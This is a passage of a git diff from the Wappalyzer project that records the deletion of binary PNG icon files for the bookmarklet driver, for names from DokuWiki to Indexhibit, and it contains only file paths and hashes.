a/Wappalyzer/drivers/bookmarklet/images/icons/DokuWiki.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DotNetNuke.png b/Wappalyzer/drivers/bookmarklet/images/icons/DotNetNuke.png deleted file mode 100644 index 1e93b1b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DotNetNuke.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dotclear.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dotclear.png deleted file mode 100644 index af514f6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dotclear.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Doxygen.png b/Wappalyzer/drivers/bookmarklet/images/icons/Doxygen.png deleted file mode 100644 index 20de99f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Doxygen.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DreamWeaver.png b/Wappalyzer/drivers/bookmarklet/images/icons/DreamWeaver.png deleted file mode 100644 index d073d73..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DreamWeaver.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Drupal Commerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/Drupal Commerce.png deleted file mode 100644 index d362d56..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Drupal Commerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Drupal.png b/Wappalyzer/drivers/bookmarklet/images/icons/Drupal.png deleted file mode 100644 index b9b13f8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Drupal.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dynamicweb.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dynamicweb.png deleted file mode 100644 index e1e4be9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dynamicweb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/E-Merchant.png b/Wappalyzer/drivers/bookmarklet/images/icons/E-Merchant.png deleted file mode 100644 index 6c49851..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/E-Merchant.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ELOG HTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/ELOG HTTP.png deleted file mode 100644 index 8a53cd3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ELOG HTTP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ELOG.png b/Wappalyzer/drivers/bookmarklet/images/icons/ELOG.png deleted file mode 100644 index 8a53cd3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ELOG.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EPiServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/EPiServer.png deleted file mode 100644 index c175a4c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/EPiServer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EPrints.png b/Wappalyzer/drivers/bookmarklet/images/icons/EPrints.png deleted file mode 100644 index db4dc9c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/EPrints.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ESERV-10.png b/Wappalyzer/drivers/bookmarklet/images/icons/ESERV-10.png deleted file mode 100644 index 3e2c434..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ESERV-10.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EWS-NIC4.png b/Wappalyzer/drivers/bookmarklet/images/icons/EWS-NIC4.png deleted file mode 100755 index 5803d63..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/EWS-NIC4.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ecodoo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ecodoo.png deleted file mode 100755 index d08a726..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ecodoo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EdgeCast.png b/Wappalyzer/drivers/bookmarklet/images/icons/EdgeCast.png deleted file mode 100644 index f59c7ee..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/EdgeCast.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Eloqua.png b/Wappalyzer/drivers/bookmarklet/images/icons/Eloqua.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Eloqua.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EmbedThis Appweb.png b/Wappalyzer/drivers/bookmarklet/images/icons/EmbedThis Appweb.png deleted file mode 100644 index b1df2e5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/EmbedThis Appweb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Embedthis-http.png b/Wappalyzer/drivers/bookmarklet/images/icons/Embedthis-http.png deleted file mode 100644 index a591e60..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Embedthis-http.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ember.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ember.js.png deleted file mode 100644 index 08c21c5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ember.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Enyo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Enyo.png deleted file mode 100644 index 40fb001..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Enyo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Epom.png b/Wappalyzer/drivers/bookmarklet/images/icons/Epom.png deleted file mode 100644 index 3e7017b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Epom.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Erlang.png b/Wappalyzer/drivers/bookmarklet/images/icons/Erlang.png deleted file mode 100755 index eb08de9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Erlang.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Exhibit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Exhibit.png deleted file mode 100644 index ea147ff..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Exhibit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Express.png b/Wappalyzer/drivers/bookmarklet/images/icons/Express.png deleted file mode 100644 index 8253955..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Express.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ExpressionEngine.png b/Wappalyzer/drivers/bookmarklet/images/icons/ExpressionEngine.png deleted file mode 100644 index 997b8c1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ExpressionEngine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ExtJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/ExtJS.png deleted file mode 100644 index 9d64175..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ExtJS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FAST ESP.png b/Wappalyzer/drivers/bookmarklet/images/icons/FAST ESP.png deleted file mode 100644 index 7921ffa..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FAST ESP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FAST Search for SharePoint.png b/Wappalyzer/drivers/bookmarklet/images/icons/FAST Search for SharePoint.png deleted file mode 100644 index 295796e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FAST Search for SharePoint.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FWP.png b/Wappalyzer/drivers/bookmarklet/images/icons/FWP.png deleted file mode 100644 index 2f556e7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FWP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fact Finder.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fact Finder.png deleted file mode 100644 index 2ec03c0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Fact Finder.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fat-Free Framework.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fat-Free Framework.png deleted file mode 100644 index 151a48e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Fat-Free Framework.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fedora.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fedora.png deleted file mode 100644 index 05562e3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Fedora.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fireblade.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fireblade.png deleted file mode 100644 index 7239af8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Fireblade.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FlashCom.png b/Wappalyzer/drivers/bookmarklet/images/icons/FlashCom.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FlashCom.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FlexCMP.png b/Wappalyzer/drivers/bookmarklet/images/icons/FlexCMP.png deleted file mode 100644 index 46a9ac9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FlexCMP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FluxBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/FluxBB.png deleted file mode 100644 index 0e2c71b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FluxBB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Flyspray.png b/Wappalyzer/drivers/bookmarklet/images/icons/Flyspray.png deleted file mode 100644 index ccef0a0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Flyspray.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Font Awesome.png b/Wappalyzer/drivers/bookmarklet/images/icons/Font Awesome.png deleted file mode 100644 index b93360b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Font Awesome.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fortune3.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fortune3.png deleted file mode 100644 index f4fd9e4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Fortune3.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FreeBSD.png b/Wappalyzer/drivers/bookmarklet/images/icons/FreeBSD.png deleted file mode 100644 index 9f0cf0d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FreeBSD.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FreeTextBox.png b/Wappalyzer/drivers/bookmarklet/images/icons/FreeTextBox.png deleted file mode 100644 index 59c2350..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FreeTextBox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FrontPage.png b/Wappalyzer/drivers/bookmarklet/images/icons/FrontPage.png deleted file mode 100644 index f055a18..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/FrontPage.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fusion Ads.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fusion Ads.png deleted file mode 100644 index bbc6295..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Fusion Ads.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/G-WAN.png b/Wappalyzer/drivers/bookmarklet/images/icons/G-WAN.png deleted file mode 100644 index 6e8707a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/G-WAN.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GX WebManager.png b/Wappalyzer/drivers/bookmarklet/images/icons/GX WebManager.png deleted file mode 100644 index 9e3555a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GX WebManager.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gallery.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gallery.png deleted file mode 100644 index 6d86cb2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Gallery.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gambio.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gambio.png deleted file mode 100644 index 3daedc2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Gambio.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gauges.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gauges.png deleted file mode 100644 index 7384991..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Gauges.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gentoo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gentoo.png deleted file mode 100644 index 6b50f6a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Gentoo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Get Satisfaction.png b/Wappalyzer/drivers/bookmarklet/images/icons/Get Satisfaction.png deleted file mode 100644 index 06c6241..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Get Satisfaction.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GetSimple CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/GetSimple CMS.png deleted file mode 100644 index 061842a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GetSimple CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ghost.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ghost.png deleted file mode 100644 index f3971b8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ghost.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GitBook.png b/Wappalyzer/drivers/bookmarklet/images/icons/GitBook.png deleted file mode 100644 index 3b7b189..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GitBook.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GitLab.png b/Wappalyzer/drivers/bookmarklet/images/icons/GitLab.png deleted file mode 100644 index d65722d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GitLab.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GlassFish.png b/Wappalyzer/drivers/bookmarklet/images/icons/GlassFish.png deleted file mode 100644 index 16b873b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GlassFish.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Glyphicons.png b/Wappalyzer/drivers/bookmarklet/images/icons/Glyphicons.png deleted file mode 100644 index a46d396..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Glyphicons.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GoAhead.png b/Wappalyzer/drivers/bookmarklet/images/icons/GoAhead.png deleted file mode 100644 index a591e60..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GoAhead.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GoStats.png b/Wappalyzer/drivers/bookmarklet/images/icons/GoStats.png deleted file mode 100644 index a2ac7b7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/GoStats.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google AdSense.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google AdSense.png deleted file mode 100644 index a02171a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google AdSense.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Analytics.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Analytics.png deleted file mode 100644 index 1256791..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Analytics.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google App Engine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google App Engine.png deleted file mode 100644 index 32ff514..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google App Engine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Charts.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Charts.png deleted file mode 100644 index 679b643..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Charts.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Code Prettify.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Code Prettify.png deleted file mode 100644 index 78b6956..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Code Prettify.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Font API.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Font API.png deleted file mode 100644 index bf2c8dc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Font API.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Friend Connect.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Friend Connect.png deleted file mode 100644 index 78b6956..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Friend Connect.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Maps.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Maps.png deleted file mode 100644 index 1f90c69..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Maps.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google PageSpeed.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google PageSpeed.png deleted file mode 100644 index 8f830f0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google PageSpeed.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Sites.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Sites.png deleted file mode 100644 index 6f74a7a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Sites.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Tag Manager.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Tag Manager.png deleted file mode 100644 index 3e31648..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Tag Manager.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Wallet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Wallet.png deleted file mode 100644 index 07c6a6c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Wallet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Web Toolkit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Web Toolkit.png deleted file mode 100644 index 8580de9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Google Web Toolkit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Graffiti CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Graffiti CMS.png deleted file mode 100644 index fdeeffe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Graffiti CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Grandstream.png b/Wappalyzer/drivers/bookmarklet/images/icons/Grandstream.png deleted file mode 100755 index a347c58..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Grandstream.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gravatar.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gravatar.png deleted file mode 100644 index 4b69a5b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Gravatar.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gravity Insights.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gravity Insights.png deleted file mode 100644 index 54228a3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Gravity Insights.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Green Valley CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Green Valley CMS.png deleted file mode 100644 index 94ceec0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Green Valley CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP ChaiServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP ChaiServer.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HP ChaiServer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP Compact Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP Compact Server.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HP Compact Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP ProCurve.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP ProCurve.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HP ProCurve.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP System Management.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP System Management.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HP System Management.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP iLO.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP iLO.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HP iLO.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HTTP-Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/HTTP-Server.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HTTP-Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Handlebars.png b/Wappalyzer/drivers/bookmarklet/images/icons/Handlebars.png deleted file mode 100644 index 691e0b9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Handlebars.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Happy ICS Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Happy ICS Server.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Happy ICS Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HeadJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/HeadJS.png deleted file mode 100644 index 9f51c0b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HeadJS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hello Bar.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hello Bar.png deleted file mode 100644 index 55da2fd..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Hello Bar.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hiawatha.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hiawatha.png deleted file mode 100644 index 68426ef..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Hiawatha.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Highcharts.png b/Wappalyzer/drivers/bookmarklet/images/icons/Highcharts.png deleted file mode 100644 index 68bf7a0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Highcharts.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Highstock.png b/Wappalyzer/drivers/bookmarklet/images/icons/Highstock.png deleted file mode 100644 index 68bf7a0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Highstock.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hippo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hippo.png deleted file mode 100644 index 2f7fee9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Hippo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hogan.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hogan.js.png deleted file mode 100644 index e43e1ed..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Hogan.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hotaru CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hotaru CMS.png deleted file mode 100644 index af1576f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Hotaru CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HubSpot.png b/Wappalyzer/drivers/bookmarklet/images/icons/HubSpot.png deleted file mode 100644 index ebf24d6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/HubSpot.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hybris.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hybris.png deleted file mode 100644 index 842dd83..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Hybris.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IBM Coremetrics.png b/Wappalyzer/drivers/bookmarklet/images/icons/IBM Coremetrics.png deleted file mode 100644 index 26106b2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IBM Coremetrics.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IBM HTTP Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/IBM HTTP Server.png deleted file mode 100644 index 26106b2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IBM HTTP Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IBM Tivoli Storage Manager.png b/Wappalyzer/drivers/bookmarklet/images/icons/IBM Tivoli Storage Manager.png deleted file mode 100644 index 26106b2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IBM Tivoli Storage Manager.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IBM WebSphere Commerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/IBM WebSphere Commerce.png deleted file mode 100644 index 26106b2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IBM WebSphere Commerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IBM WebSphere Portal.png b/Wappalyzer/drivers/bookmarklet/images/icons/IBM WebSphere Portal.png deleted file mode 100644 index 26106b2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IBM WebSphere Portal.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IIS.png b/Wappalyzer/drivers/bookmarklet/images/icons/IIS.png deleted file mode 100644 index b94c2b3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IIS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IPB.png b/Wappalyzer/drivers/bookmarklet/images/icons/IPB.png deleted file mode 100644 index 793d0b8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IPB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ImpressCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/ImpressCMS.png deleted file mode 100644 index 023f159..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ImpressCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ImpressPages.png b/Wappalyzer/drivers/bookmarklet/images/icons/ImpressPages.png deleted file mode 100644 index 28b152a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ImpressPages.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/InProces.png b/Wappalyzer/drivers/bookmarklet/images/icons/InProces.png deleted file mode 100644 index a8e4f36..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/InProces.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Incapsula.png b/Wappalyzer/drivers/bookmarklet/images/icons/Incapsula.png deleted file mode 100644 index 5ba7071..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Incapsula.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Indexhibit.png 